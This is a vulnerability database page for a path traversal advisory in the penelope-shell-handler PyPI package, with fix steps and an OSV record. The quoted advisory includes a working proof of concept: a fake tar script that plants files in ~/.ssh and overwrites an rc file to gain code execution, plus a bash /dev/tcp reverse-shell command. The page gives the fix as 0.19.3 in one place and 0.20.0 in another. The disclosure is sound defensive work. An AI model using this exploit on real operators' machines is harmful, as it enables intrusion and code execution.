Vulnerabilities in pkg:pypi/penelope-shell-handler

PACKAGE
Advisory Identifier: GHSA-f42x-p2mx-hm8r
Advisory Summary

CVE-2026-50558 is a MODERATE (CVSS 5.9) penelope unsafe tar extraction allows vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Penelope shell handler libraries in the PyPI ecosystem. The issue involves penelope unsafe tar extraction allows arbitrary local file write via crafted session archive. Remediation is available by upgrading affected packages to version 0.20.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/penelope-shell-handler

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/penelope-shell-handler. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-f42x-p2mx-hm8r CVE-2026-50558 MODERATE Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive

CVE-2026-50558 at a Glance

CVE Identifier CVE-2026-50558
GHSA Identifier GHSA-f42x-p2mx-hm8r
Severity MODERATE
CVSS v3.1 Base Score 5.9
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Penelope shell handler
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-50558

To remediate this vulnerability, upgrade all affected Penelope shell handler dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

penelope-shell-handler fixed: 0.20.0
pip install penelope-shell-handler>=0.20.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show penelope-shell-handler

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-50558, inspect your installed packages using pip:

pip show penelope-shell-handler

Analyze the terminal output to locate any version of Penelope shell handler in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.20.0), your application is affected.

Note: The pip show penelope-shell-handler command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Penelope shell handler, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Penelope versions prior to 0.19.3 extracted tar archives received from remote sessions without validating archive member paths. When using the affected Unix download path, a malicious or compromised remote session could return a crafted tar archive containing path traversal entries, such as `../`, causing files to be written outside the intended download directory on the Penelope operator's machine. The impact is limited to files writable by the user running Penelope. In some cases, this arbitrary file write could be chained to operator-side code execution if the attacker can overwrite a file that Penelope or the user later executes, such as `~/.penelope/peneloperc`. The issue has been fixed in version 0.19.3 by rejecting unsafe archive paths during extraction. ### Affected conditions The issue requires the operator to use the Main Menu `download` command to download files from a malicious or compromised remote session that can influence the tar archive returned to Penelope. The Python agent download path is not affected in the same way because it does not rely on the remote `tar` command. The vulnerable behavior is related to Python's historical `tarfile` extraction defaults. In Python versions before 3.14, `TarFile.extractall()` did not use the safer `data` extraction filter by default, so applications extracting untrusted tar archives needed to explicitly provide a safe extraction filter or perform their own path validation. Python 3.14 changes the default extraction behavior to use the `data` filter, which rejects dangerous archive features such as absolute paths and paths outside the destination directory. Penelope 0.19.3 now performs explicit validation/rejection of unsafe archive paths so the fix does not depend on the Python runtime version. ### Details The vulnerable code is in the Unix `download()` implementation. Penelope creates a local download directory: ```python local_download_folder = self.directory / "downloads" ``` Later, it opens a tar archive received from the remote session: ```python tar = tarfile.open(mode=mode, fileobj=tar_source) ``` Then it extracts all members without validating archive paths: ```python tar.extractall(local_download_folder) ``` Because member names are trusted, a malicious tar archive can contain paths such as: ```text ../../../../../home/operator/.penelope/peneloperc ``` This escapes the intended `local_download_folder` and writes to an arbitrary path writable by the Penelope operator. The same extraction block also suppresses Python's `DeprecationWarning` around unsafe tar extraction: ```python with warnings.catch_warnings(): warnings.simplefilter("ignore", category=DeprecationWarning) tar.extractall(local_download_folder) ``` The file-write impact can be chained with Penelope's rc loading behavior: ```python def load_rc(): RC = Path(options.basedir / "peneloperc") try: with open(RC, "r") as rc: exec(rc.read(), globals()) ``` By default, `options.basedir` is `~/.penelope`, so the executed rc file is: ```text ~/.penelope/peneloperc ``` Since session downloads are stored under `~/.penelope/sessions/<session>/downloads`, a crafted tar member can traverse upward and plant or replace `~/.penelope/peneloperc`. The planted Python code executes when Penelope starts again or when the operator runs `reload`. ### PoC The following reproduces the issue locally by simulating a malicious remote endpoint. The fake `tar` binary is placed first in `PATH` for the test shell, so when Penelope asks the remote session to run `tar`, the remote session returns a crafted archive with path traversal entries. Start Penelope in Terminal 1: ```bash penelope -p 4444 -U -C #No upgrade and session connection needed ``` <img width="1920" height="337" alt="path1" src="https://github.com/user-attachments/assets/c8cb2dd6-e6d5-43ce-b3a2-61005dbcf95c" /> Prepare the fake remote `tar` in Terminal 2: ```bash mkdir -p /tmp/penelope-fakebin mkdir -p "$HOME/.penelope" "$HOME/.ssh" cp -f "$HOME/.penelope/peneloperc" /tmp/peneloperc.backup 2>/dev/null || true cat > /tmp/penelope-fakebin/tar <<'EOF' #!/usr/bin/env python3 import io import os import sys import tarfile import time home = os.path.expanduser("~") target_home = home.lstrip("/") def add_file(tar, target, data): data = data.encode() info = tarfile.TarInfo(target) info.size = len(data) info.mode = 0o644 info.mtime = int(time.time()) tar.addfile(info, io.BytesIO(data)) with tarfile.open(mode="w:gz", fileobj=sys.stdout.buffer) as tar: add_file(tar, "../../../../../" + target_home + "/PENELOPE_CVE_PROOF.txt", "Penelope path traversal proof\n") add_file(tar, "../../../../../" + target_home + "/.ssh/PENELOPE_SSH_KEY.txt", "fake-demo-ssh_key-not-for-authentication\n") add_file( tar, "../../../../../" + target_home + "/.penelope/peneloperc", "open('/" + target_home + "/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\\n')\n" ) EOF chmod +x /tmp/penelope-fakebin/tar touch /tmp/penelope_dummy ``` Connect the local test shell back to Penelope in Terminal 2: ```bash PATH=/tmp/penelope-fakebin:$PATH bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' ``` <img width="1920" height="1000" alt="path2" src="https://github.com/user-attachments/assets/c6db4888-9a41-4a99-b8d1-35c06f07ca4a" /> In Terminal 1, inside Penelope, trigger the vulnerable download: ```text download /tmp/penelope_dummy ``` Verify in Terminal 3 that files were written outside the intended download directory: ```bash cat "$HOME/PENELOPE_CVE_PROOF.txt" cat "$HOME/.ssh/PENELOPE_SSH_KEY.txt" grep PENELOPE_RC_EXECUTED "$HOME/.penelope/peneloperc" ``` <img width="1920" height="573" alt="path3" src="https://github.com/user-attachments/assets/9c7c8d3b-00ee-4d74-b195-1e91ff581243" /> Expected output includes: ```text Penelope path traversal proof fake-demo-ssh_key-not-for-authentication open('/home/<user>/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\n') ``` In Terminal 1, inside Penelope, execute the planted rc line: ```text reload ``` Verify in Terminal 3 that `peneloperc` executed: ```bash cat "$HOME/PENELOPE_RC_EXECUTED.txt" ``` Expected output: ```text peneloperc executed via reload ``` Cleanup: ```bash rm -f "$HOME/PENELOPE_CVE_PROOF.txt" rm -f "$HOME/.ssh/PENELOPE_SSH_KEY.txt" rm -f "$HOME/PENELOPE_RC_EXECUTED.txt" if [ -f /tmp/peneloperc.backup ]; then cp -f /tmp/peneloperc.backup "$HOME/.penelope/peneloperc"; else rm -f "$HOME/.penelope/peneloperc"; fi rm -f /tmp/peneloperc.backup rm -rf /tmp/penelope-fakebin rm -f /tmp/penelope_dummy ``` ### Impact A malicious remote session can write arbitrary files on the Penelope operator's machine, limited to the permissions of the user running Penelope. For a non-root operator, this may be chained to operator-side code execution only if the attacker can overwrite a user-writable file that Penelope or the user later executes, such as: ```text ~/.penelope/peneloperc ~/.bashrc ~/.profile ~/.config/autostart/*.desktop ``` For a root operator, the impact is higher because root-writable files may be overwritten. ### Suggested Fix Validate every archive member before extraction by resolving the final destination path and rejecting paths outside the intended download directory. Reject symlink and hardlink members. On supported Python versions, `filter="data"` can be used as an additional safeguard.

CVE-2026-50558 Affected Penelope shell handler Versions

1 component(s)
Fixed Versions:
0.20.0
Product / Package Ecosystem Affected Versions Fixed Version
penelope-shell-handler
PyPI
< 0.20.0
0.20.0

References

Frequently Asked Questions

What is CVE-2026-50558?
CVE-2026-50558 is a security vulnerability in Penelope shell handler involving Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Penelope shell handler versions are affected?
Affected versions include releases prior to 0.20.0 across affected packages: penelope-shell-handler.
What version fixes CVE-2026-50558?
Upgrading to 0.20.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is penelope-shell-handler affected?
Yes, penelope-shell-handler is affected in releases prior to 0.20.0. Upgrade your dependency to 0.20.0 or later.
What is the CVSS score of CVE-2026-50558?
CVE-2026-50558 has a CVSS v3.1 base score of 5.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L.
What CWE is associated with CVE-2026-50558?
CVE-2026-50558 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-50558?
Run the dependency tree command: 'pip show penelope-shell-handler'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f42x-p2mx-hm8r",
  "modified" : "2026-07-29T15:34:16Z",
  "published" : "2026-07-29T15:34:16Z",
  "aliases" : [ "CVE-2026-50558" ],
  "summary" : "Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive",
  "details" : "### Summary\n\nPenelope versions prior to 0.19.3 extracted tar archives received from remote sessions without validating archive member paths. When using the affected Unix download path, a malicious or compromised remote session could return a crafted tar archive containing path traversal entries, such as `../`, causing files to be written outside the intended download directory on the Penelope operator's machine.\n\nThe impact is limited to files writable by the user running Penelope. In some cases, this arbitrary file write could be chained to operator-side code execution if the attacker can overwrite a file that Penelope or the user later executes, such as `~/.penelope/peneloperc`. The issue has been fixed in version 0.19.3 by rejecting unsafe archive paths during extraction.\n\n### Affected conditions\n\nThe issue requires the operator to use the Main Menu `download` command to download files from a malicious or compromised remote session that can influence the tar archive returned to Penelope. The Python agent download path is not affected in the same way because it does not rely on the remote `tar` command.\n\nThe vulnerable behavior is related to Python's historical `tarfile` extraction defaults. In Python versions before 3.14, `TarFile.extractall()` did not use the safer `data` extraction filter by default, so applications extracting untrusted tar archives needed to explicitly provide a safe extraction filter or perform their own path validation.\n\nPython 3.14 changes the default extraction behavior to use the `data` filter, which rejects dangerous archive features such as absolute paths and paths outside the destination directory. Penelope 0.19.3 now performs explicit validation/rejection of unsafe archive paths so the fix does not depend on the Python runtime version.\n\n### Details\n\nThe vulnerable code is in the Unix `download()` implementation.\n\nPenelope creates a local download directory:\n\n```python\nlocal_download_folder = self.directory / \"downloads\"\n```\n\nLater, it opens a tar archive received from the remote session:\n\n```python\ntar = tarfile.open(mode=mode, fileobj=tar_source)\n```\n\nThen it extracts all members without validating archive paths:\n\n```python\ntar.extractall(local_download_folder)\n```\n\nBecause member names are trusted, a malicious tar archive can contain paths such as:\n\n```text\n../../../../../home/operator/.penelope/peneloperc\n```\n\nThis escapes the intended `local_download_folder` and writes to an arbitrary path writable by the Penelope operator.\n\nThe same extraction block also suppresses Python's `DeprecationWarning` around unsafe tar extraction:\n\n```python\nwith warnings.catch_warnings():\n    warnings.simplefilter(\"ignore\", category=DeprecationWarning)\n    tar.extractall(local_download_folder)\n```\n\nThe file-write impact can be chained with Penelope's rc loading behavior:\n\n```python\ndef load_rc():\n    RC = Path(options.basedir / \"peneloperc\")\n    try:\n        with open(RC, \"r\") as rc:\n            exec(rc.read(), globals())\n```\n\nBy default, `options.basedir` is `~/.penelope`, so the executed rc file is:\n\n```text\n~/.penelope/peneloperc\n```\n\nSince session downloads are stored under `~/.penelope/sessions/<session>/downloads`, a crafted tar member can traverse upward and plant or replace `~/.penelope/peneloperc`. The planted Python code executes when Penelope starts again or when the operator runs `reload`.\n\n### PoC\n\nThe following reproduces the issue locally by simulating a malicious remote endpoint. The fake `tar` binary is placed first in `PATH` for the test shell, so when Penelope asks the remote session to run `tar`, the remote session returns a crafted archive with path traversal entries.\n\nStart Penelope in Terminal 1:\n\n```bash\npenelope -p 4444 -U -C #No upgrade and session connection needed\n```\n<img width=\"1920\" height=\"337\" alt=\"path1\" src=\"https://github.com/user-attachments/assets/c8cb2dd6-e6d5-43ce-b3a2-61005dbcf95c\" />\n\nPrepare the fake remote `tar` in Terminal 2:\n\n```bash\nmkdir -p /tmp/penelope-fakebin\nmkdir -p \"$HOME/.penelope\" \"$HOME/.ssh\"\ncp -f \"$HOME/.penelope/peneloperc\" /tmp/peneloperc.backup 2>/dev/null || true\n\ncat > /tmp/penelope-fakebin/tar <<'EOF'\n#!/usr/bin/env python3\nimport io\nimport os\nimport sys\nimport tarfile\nimport time\n\nhome = os.path.expanduser(\"~\")\ntarget_home = home.lstrip(\"/\")\n\ndef add_file(tar, target, data):\n    data = data.encode()\n    info = tarfile.TarInfo(target)\n    info.size = len(data)\n    info.mode = 0o644\n    info.mtime = int(time.time())\n    tar.addfile(info, io.BytesIO(data))\n\nwith tarfile.open(mode=\"w:gz\", fileobj=sys.stdout.buffer) as tar:\n    add_file(tar, \"../../../../../\" + target_home + \"/PENELOPE_CVE_PROOF.txt\", \"Penelope path traversal proof\\n\")\n    add_file(tar, \"../../../../../\" + target_home + \"/.ssh/PENELOPE_SSH_KEY.txt\", \"fake-demo-ssh_key-not-for-authentication\\n\")\n    add_file(\n        tar,\n        \"../../../../../\" + target_home + \"/.penelope/peneloperc\",\n        \"open('/\" + target_home + \"/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\\\\n')\\n\"\n    )\nEOF\n\nchmod +x /tmp/penelope-fakebin/tar\ntouch /tmp/penelope_dummy\n```\n\nConnect the local test shell back to Penelope in Terminal 2:\n\n```bash\nPATH=/tmp/penelope-fakebin:$PATH bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'\n```\n<img width=\"1920\" height=\"1000\" alt=\"path2\" src=\"https://github.com/user-attachments/assets/c6db4888-9a41-4a99-b8d1-35c06f07ca4a\" />\n\nIn Terminal 1, inside Penelope, trigger the vulnerable download:\n\n```text\ndownload /tmp/penelope_dummy\n```\n\nVerify in Terminal 3 that files were written outside the intended download directory:\n\n```bash\ncat \"$HOME/PENELOPE_CVE_PROOF.txt\"\ncat \"$HOME/.ssh/PENELOPE_SSH_KEY.txt\"\ngrep PENELOPE_RC_EXECUTED \"$HOME/.penelope/peneloperc\"\n```\n<img width=\"1920\" height=\"573\" alt=\"path3\" src=\"https://github.com/user-attachments/assets/9c7c8d3b-00ee-4d74-b195-1e91ff581243\" />\n\nExpected output includes:\n\n```text\nPenelope path traversal proof\nfake-demo-ssh_key-not-for-authentication\nopen('/home/<user>/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\\n')\n```\n\nIn Terminal 1, inside Penelope, execute the planted rc line:\n\n```text\nreload\n```\n\nVerify in Terminal 3 that `peneloperc` executed:\n\n```bash\ncat \"$HOME/PENELOPE_RC_EXECUTED.txt\"\n```\n\nExpected output:\n\n```text\npeneloperc executed via reload\n```\n\nCleanup:\n\n```bash\nrm -f \"$HOME/PENELOPE_CVE_PROOF.txt\"\nrm -f \"$HOME/.ssh/PENELOPE_SSH_KEY.txt\"\nrm -f \"$HOME/PENELOPE_RC_EXECUTED.txt\"\nif [ -f /tmp/peneloperc.backup ]; then cp -f /tmp/peneloperc.backup \"$HOME/.penelope/peneloperc\"; else rm -f \"$HOME/.penelope/peneloperc\"; fi\nrm -f /tmp/peneloperc.backup\nrm -rf /tmp/penelope-fakebin\nrm -f /tmp/penelope_dummy\n```\n\n### Impact\n\nA malicious remote session can write arbitrary files on the Penelope operator's machine, limited to the permissions of the user running Penelope.\n\nFor a non-root operator, this may be chained to operator-side code execution only if the attacker can overwrite a user-writable file that Penelope or the user later executes, such as:\n\n```text\n~/.penelope/peneloperc\n~/.bashrc\n~/.profile\n~/.config/autostart/*.desktop\n```\n\nFor a root operator, the impact is higher because root-writable files may be overwritten.\n\n### Suggested Fix\n\nValidate every archive member before extraction by resolving the final destination path and rejecting paths outside the intended download directory. Reject symlink and hardlink members. On supported Python versions, `filter=\"data\"` can be used as an additional safeguard.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "penelope-shell-handler"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.20.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/brightio/penelope"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/brightio/penelope/releases/tag/v0.20.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-29T15:34:16Z",
    "nvd_published_at" : null
  }
}